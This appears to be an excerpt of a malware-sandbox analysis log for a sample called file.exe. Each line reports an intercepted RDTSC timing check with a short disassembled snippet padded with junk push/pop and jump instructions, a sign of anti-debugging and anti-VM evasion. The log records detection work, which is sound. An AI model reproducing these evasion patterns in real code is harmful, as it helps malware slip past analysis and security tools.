Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11D040F second address: 11D0413 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11D0413 second address: 11D0417 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11D0417 second address: 11D042B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 js 00007F5E94E4CBA6h 0x0000000a pop edx 0x0000000b pop eax 0x0000000c popad 0x0000000d push eax 0x0000000e push eax 0x0000000f push edx 0x00000010 pushad 0x00000011 popad 0x00000012 pushad 0x00000013 popad 0x00000014 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11D6A77 second address: 11D6A7B instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11D6A7B second address: 11D6A81 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11D6A81 second address: 11D6A8D instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jnc 00007F5E94757C96h 0x0000000a push ecx 0x0000000b pop ecx 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11DA496 second address: 11DA49A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11DA49A second address: 11DA515 instructions: 0x00000000 rdtsc 0x00000002 push edi 0x00000003 pop edi 0x00000004 jmp 00007F5E94757CA8h 0x00000009 pop edx 0x0000000a pop eax 0x0000000b pushad 0x0000000c jmp 00007F5E94757CA4h 0x00000011 jmp 00007F5E94757C9Bh 0x00000016 jne 00007F5E94757C96h 0x0000001c jmp 00007F5E94757CA2h 0x00000021 popad 0x00000022 push edi 0x00000023 jp 00007F5E94757C96h 0x00000029 pop edi 0x0000002a popad 0x0000002b push eax 0x0000002c push edx 0x0000002d push eax 0x0000002e push edx 0x0000002f je 00007F5E94757C96h 0x00000035 jmp 00007F5E94757CA1h 0x0000003a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11DA515 second address: 11DA534 instructions: 0x00000000 rdtsc 0x00000002 js 00007F5E94E4CBA6h 0x00000008 push esi 0x00000009 pop esi 0x0000000a pop edx 0x0000000b pop eax 0x0000000c jmp 00007F5E94E4CBB3h 0x00000011 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11DA534 second address: 11DA554 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F5E94757CA6h 0x00000007 jp 00007F5E94757CA2h 0x0000000d push eax 0x0000000e push edx 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11DA554 second address: 11DA55A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11DA933 second address: 11DA93F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jnl 00007F5E94757C96h 0x0000000a push eax 0x0000000b push edx 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11DA93F second address: 11DA95D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push edx 0x00000005 pop edx 0x00000006 popad 0x00000007 jc 00007F5E94E4CBD4h 0x0000000d jns 00007F5E94E4CBAEh 0x00000013 pushad 0x00000014 push eax 0x00000015 push edx 0x00000016 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11DEC99 second address: 11DEC9F instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11DEC9F second address: 11DECA8 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pushad 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11DECA8 second address: 11DECB9 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jl 00007F5E94757C96h 0x0000000a popad 0x0000000b popad 0x0000000c push eax 0x0000000d push edx 0x0000000e pushad 0x0000000f push eax 0x00000010 push edx 0x00000011 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11DECB9 second address: 11DECC0 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 popad 0x00000007 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11DECC0 second address: 11DECDE instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F5E94757CA2h 0x00000007 push eax 0x00000008 push edx 0x00000009 push ebx 0x0000000a pop ebx 0x0000000b jc 00007F5E94757C96h 0x00000011 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11DECDE second address: 11DECE2 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 118ADCE second address: 118ADE1 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 push eax 0x00000006 pushad 0x00000007 push eax 0x00000008 jp 00007F5E94757C96h 0x0000000e pop eax 0x0000000f push eax 0x00000010 push edx 0x00000011 pushad 0x00000012 popad 0x00000013 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 118ADE1 second address: 118AE3C instructions: 0x00000000 rdtsc 0x00000002 jno 00007F5E94E4CBA6h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a popad 0x0000000b nop 0x0000000c push 00000000h 0x0000000e push ebx 0x0000000f call 00007F5E94E4CBA8h 0x00000014 pop ebx 0x00000015 mov dword ptr [esp+04h], ebx 0x00000019 add dword ptr [esp+04h], 00000019h 0x00000021 inc ebx 0x00000022 push ebx 0x00000023 ret 0x00000024 pop ebx 0x00000025 ret 0x00000026 push 00000004h 0x00000028 push 00000000h 0x0000002a push edi 0x0000002b call 00007F5E94E4CBA8h 0x00000030 pop edi 0x00000031 mov dword ptr [esp+04h], edi 0x00000035 add dword ptr [esp+04h], 00000017h 0x0000003d inc edi 0x0000003e push edi 0x0000003f ret 0x00000040 pop edi 0x00000041 ret 0x00000042 push edi 0x00000043 mov edi, dword ptr [ebp+122D1C7Ch] 0x00000049 pop ecx 0x0000004a nop 0x0000004b pushad 0x0000004c push edx 0x0000004d push eax 0x0000004e push edx 0x0000004f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 118AE3C second address: 118AE46 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pushad 0x00000006 pushad 0x00000007 popad 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11DF673 second address: 11DF690 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F5E94E4CBB5h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push eax 0x0000000a push edx 0x0000000b push edx 0x0000000c pop edx 0x0000000d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11E405A second address: 11E4063 instructions: 0x00000000 rdtsc 0x00000002 push edi 0x00000003 push edx 0x00000004 pop edx 0x00000005 pop edi 0x00000006 push eax 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11E340C second address: 11E341E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 jns 00007F5E94E4CBA8h 0x0000000c push eax 0x0000000d push edx 0x0000000e push eax 0x0000000f push edx 0x00000010 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11E341E second address: 11E3422 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11E3422 second address: 11E3438 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F5E94E4CBB2h 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11E3716 second address: 11E371B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11E371B second address: 11E3727 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jo 00007F5E94E4CBA6h 0x0000000a pushad 0x0000000b popad 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11E38C1 second address: 11E38C6 instructions: 0x00000000 rdtsc 0x00000002 push esi 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11E38C6 second address: 11E38DD instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push esi 0x00000005 pop esi 0x00000006 pop esi 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push edi 0x0000000a push esi 0x0000000b push edi 0x0000000c pop edi 0x0000000d jns 00007F5E94E4CBA6h 0x00000013 pop esi 0x00000014 push eax 0x00000015 push eax 0x00000016 push edx 0x00000017 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11E3A3B second address: 11E3A41 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11E55FD second address: 11E5601 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11E5601 second address: 11E5613 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F5E94757C9Eh 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11E5613 second address: 11E561D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11E561D second address: 11E5627 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jc 00007F5E94757C96h 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11E5627 second address: 11E562B instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11EC38C second address: 11EC3B0 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edi 0x00000005 jmp 00007F5E94757C9Bh 0x0000000a pop edi 0x0000000b push eax 0x0000000c push edx 0x0000000d push edi 0x0000000e jmp 00007F5E94757C9Eh 0x00000013 push eax 0x00000014 push edx 0x00000015 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11EC3B0 second address: 11EC3B5 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edi 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11ECCC4 second address: 11ECCCE instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jbe 00007F5E94757C96h 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11ECCCE second address: 11ECCE8 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F5E94E4CBB6h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11ECF87 second address: 11ECF95 instructions: 0x00000000 rdtsc 0x00000002 push edx 0x00000003 pop edx 0x00000004 pushad 0x00000005 popad 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push eax 0x00000009 push edx 0x0000000a pushad 0x0000000b popad 0x0000000c push eax 0x0000000d push edx 0x0000000e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11ECF95 second address: 11ECF99 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11ECF99 second address: 11ECFA8 instructions: 0x00000000 rdtsc 0x00000002 push ecx 0x00000003 pop ecx 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop esi 0x00000007 push eax 0x00000008 push edx 0x00000009 push esi 0x0000000a pushad 0x0000000b popad 0x0000000c push edi 0x0000000d pop edi 0x0000000e pop esi 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11ED801 second address: 11ED812 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 jbe 00007F5E94E4CBA6h 0x00000009 ja 00007F5E94E4CBA6h 0x0000000f push eax 0x00000010 push edx 0x00000011 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11ED812 second address: 11ED818 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11ED818 second address: 11ED849 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 pushad 0x00000006 jmp 00007F5E94E4CBB9h 0x0000000b jmp 00007F5E94E4CBAEh 0x00000010 pushad 0x00000011 popad 0x00000012 push eax 0x00000013 push edx 0x00000014 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11EDB0D second address: 11EDB16 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push ebx 0x00000005 pop ebx 0x00000006 push ebx 0x00000007 pop ebx 0x00000008 popad 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11F1198 second address: 11F11A2 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push ebx 0x00000005 pop ebx 0x00000006 push edi 0x00000007 pop edi 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11F1315 second address: 11F1337 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F5E94757CA2h 0x00000007 push ebx 0x00000008 pop ebx 0x00000009 pop edx 0x0000000a pop eax 0x0000000b push eax 0x0000000c push edx 0x0000000d jne 00007F5E94757C96h 0x00000013 pushad 0x00000014 popad 0x00000015 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11F14A9 second address: 11F14AF instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11F14AF second address: 11F14B7 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 pushad 0x00000006 push eax 0x00000007 push edx 0x00000008 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11F14B7 second address: 11F14BD instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11F14BD second address: 11F14C2 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11F14C2 second address: 11F14C7 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11F1750 second address: 11F1756 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11F1756 second address: 11F1760 instructions: 0x00000000 rdtsc 0x00000002 push edx 0x00000003 pop edx 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 pushad 0x00000009 popad 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11F1760 second address: 11F1764 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11F1A30 second address: 11F1A39 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 push eax 0x00000006 push edx 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11F1A39 second address: 11F1A3D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11F1BCB second address: 11F1BD9 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 pop eax 0x00000004 push eax 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push eax 0x00000009 push edx 0x0000000a pushad 0x0000000b popad 0x0000000c push eax 0x0000000d push edx 0x0000000e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11F1BD9 second address: 11F1BDD instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11FEC21 second address: 11FEC40 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F5E94E4CBB9h 0x00000007 push eax 0x00000008 push edx 0x00000009 push eax 0x0000000a push edx 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11FEC40 second address: 11FEC44 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11FEC44 second address: 11FEC6B instructions: 0x00000000 rdtsc 0x00000002 jbe 00007F5E94E4CBA6h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a pop edx 0x0000000b pop eax 0x0000000c pushad 0x0000000d jmp 00007F5E94E4CBB6h 0x00000012 push eax 0x00000013 push edx 0x00000014 pushad 0x00000015 popad 0x00000016 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11FD392 second address: 11FD3AD instructions: 0x00000000 rdtsc 0x00000002 push ebx 0x00000003 push eax 0x00000004 pop eax 0x00000005 push edi 0x00000006 pop edi 0x00000007 pop ebx 0x00000008 jns 00007F5E94757C9Ch 0x0000000e pop edx 0x0000000f pop eax 0x00000010 pushad 0x00000011 push eax 0x00000012 push edx 0x00000013 push edi 0x00000014 pop edi 0x00000015 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11FD808 second address: 11FD817 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 pop eax 0x00000006 pop ecx 0x00000007 jc 00007F5E94E4CBA8h 0x0000000d push esi 0x0000000e pop esi 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11FD817 second address: 11FD81E instructions: 0x00000000 rdtsc 0x00000002 push edi 0x00000003 pushad 0x00000004 popad 0x00000005 push eax 0x00000006 push edx 0x00000007 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11FE326 second address: 11FE32B instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11FE32B second address: 11FE357 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push ebx 0x00000005 pop ebx 0x00000006 js 00007F5E94757C96h 0x0000000c jno 00007F5E94757C96h 0x00000012 popad 0x00000013 push eax 0x00000014 push edx 0x00000015 jmp 00007F5E94757CA7h 0x0000001a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11FEABB second address: 11FEACB instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop ebx 0x00000005 push edx 0x00000006 jp 00007F5E94E4CBA6h 0x0000000c pop edx 0x0000000d push edi 0x0000000e push eax 0x0000000f push edx 0x00000010 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1204EEA second address: 1204F0E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 jmp 00007F5E94757C9Bh 0x0000000b popad 0x0000000c jmp 00007F5E94757C9Bh 0x00000011 push eax 0x00000012 push edx 0x00000013 pushad 0x00000014 push esi 0x00000015 pop esi 0x00000016 push eax 0x00000017 push edx 0x00000018 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1204F0E second address: 1204F14 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1204F14 second address: 1204F1A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1204F1A second address: 1204F3C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 jbe 00007F5E94E4CBBDh 0x0000000b jmp 00007F5E94E4CBB7h 0x00000010 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1204F3C second address: 1204F58 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007F5E94757CA8h 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 12050A2 second address: 12050C1 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007F5E94E4CBB5h 0x00000009 jng 00007F5E94E4CBA6h 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 12050C1 second address: 12050D1 instructions: 0x00000000 rdtsc 0x00000002 push ebx 0x00000003 pop ebx 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 pushad 0x00000009 popad 0x0000000a jng 00007F5E94757C96h 0x00000010 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1205252 second address: 1205256 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1205256 second address: 1205273 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 jmp 00007F5E94757CA5h 0x0000000d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1211467 second address: 121146D instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 121146D second address: 121147E instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007F5E94757C9Dh 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 121147E second address: 121148A instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 push edx 0x00000005 pop edx 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push eax 0x00000009 push edx 0x0000000a pushad 0x0000000b popad 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1149A18 second address: 1149A33 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F5E94757CA5h 0x00000007 push eax 0x00000008 push edx 0x00000009 pushad 0x0000000a popad 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1149A33 second address: 1149A39 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1149A39 second address: 1149A56 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 pushad 0x00000009 jo 00007F5E94757C9Ch 0x0000000f jnl 00007F5E94757C96h 0x00000015 jo 00007F5E94757CAEh 0x0000001b push eax 0x0000001c push edx 0x0000001d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1215594 second address: 12155C7 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 jmp 00007F5E94E4CBB2h 0x0000000b pushad 0x0000000c push edi 0x0000000d jmp 00007F5E94E4CBAEh 0x00000012 js 00007F5E94E4CBA6h 0x00000018 pop edi 0x00000019 push eax 0x0000001a push edx 0x0000001b push eax 0x0000001c push edx 0x0000001d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 12155C7 second address: 12155CB instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 12155CB second address: 12155CF instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 121E1D1 second address: 121E1DD instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jo 00007F5E94757C96h 0x0000000a push edx 0x0000000b pop edx 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1225767 second address: 122576B instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 122576B second address: 122577B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push ebx 0x00000005 pop ebx 0x00000006 pop edx 0x00000007 pop eax 0x00000008 jc 00007F5E94757C98h 0x0000000e push edx 0x0000000f pop edx 0x00000010 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 122C2F3 second address: 122C30A instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 jc 00007F5E94E4CBA6h 0x00000009 jl 00007F5E94E4CBA6h 0x0000000f jnp 00007F5E94E4CBA6h 0x00000015 push eax 0x00000016 push edx 0x00000017 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 123041B second address: 1230443 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F5E94757C9Bh 0x00000009 jmp 00007F5E94757CA8h 0x0000000e popad 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1230443 second address: 123044F instructions: 0x00000000 rdtsc 0x00000002 jbe 00007F5E94E4CBAEh 0x00000008 push eax 0x00000009 pop eax 0x0000000a push eax 0x0000000b push edx 0x0000000c rdtsc
